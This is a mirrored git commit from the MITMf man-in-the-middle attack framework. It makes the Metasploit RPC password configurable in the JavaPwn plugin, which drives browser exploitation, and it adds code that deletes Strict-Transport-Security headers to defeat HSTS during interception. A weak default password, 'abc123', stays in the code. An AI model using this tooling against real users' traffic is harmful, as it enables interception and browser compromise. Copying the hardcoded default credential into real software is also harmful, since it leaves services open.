mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
made rpc pass configurable
This commit is contained in:
parent
bf4506a98a
commit
5a5a3e36ec
3 changed files with 9 additions and 4 deletions
|
@ -23,6 +23,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
self.msfip = options.msfip
|
self.msfip = options.msfip
|
||||||
self.msfport = options.msfport
|
self.msfport = options.msfport
|
||||||
self.rpcip = options.rpcip
|
self.rpcip = options.rpcip
|
||||||
|
self.rpcpass = options.rpcpass
|
||||||
|
|
||||||
if not self.msfip:
|
if not self.msfip:
|
||||||
sys.exit('[-] JavaPwn plugin requires --msfip')
|
sys.exit('[-] JavaPwn plugin requires --msfip')
|
||||||
|
@ -38,11 +39,11 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary
|
msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary
|
||||||
msf.login('msf', 'abc123')
|
msf.login('msf', self.rpcpass)
|
||||||
version = msf.call('core.version')['version']
|
version = msf.call('core.version')['version']
|
||||||
print "[*] Succesfully connected to Metasploit v%s" % version
|
print "[*] Succesfully connected to Metasploit v%s" % version
|
||||||
except:
|
except:
|
||||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and ran 'load msgrpc Pass=abc123'")
|
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||||
|
|
||||||
#Initialize the BrowserProfiler plugin
|
#Initialize the BrowserProfiler plugin
|
||||||
BrowserProfiler.initialize(self, options)
|
BrowserProfiler.initialize(self, options)
|
||||||
|
@ -167,11 +168,12 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
options.add_argument('--msfip', dest='msfip', help='IP Address of MSF')
|
options.add_argument('--msfip', dest='msfip', help='IP Address of MSF')
|
||||||
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
|
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
|
||||||
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
|
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
|
||||||
|
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
'''This will be called when shutting down'''
|
'''This will be called when shutting down'''
|
||||||
msf = msfrpc.Msfrpc({"host": self.rpcip})
|
msf = msfrpc.Msfrpc({"host": self.rpcip})
|
||||||
msf.login('msf', 'abc123')
|
msf.login('msf', self.rpcpass)
|
||||||
jobs = msf.call('job.list')
|
jobs = msf.call('job.list')
|
||||||
if len(jobs) > 0:
|
if len(jobs) > 0:
|
||||||
print '[*] Stopping all running metasploit jobs'
|
print '[*] Stopping all running metasploit jobs'
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
#There probably is a better way of doing this
|
#probably a better way of doing this
|
||||||
|
|
||||||
import logging, re, sys, os
|
import logging, re, sys, os
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
|
@ -56,6 +56,9 @@ class ClientRequest(Request):
|
||||||
if 'accept-encoding' in headers:
|
if 'accept-encoding' in headers:
|
||||||
headers['accept-encoding'] == 'identity'
|
headers['accept-encoding'] == 'identity'
|
||||||
|
|
||||||
|
if 'Strict-Transport-Security' in headers: #kill new hsts requests
|
||||||
|
del headers['Strict-Transport-Security']
|
||||||
|
|
||||||
if 'if-modified-since' in headers:
|
if 'if-modified-since' in headers:
|
||||||
del headers['if-modified-since']
|
del headers['if-modified-since']
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue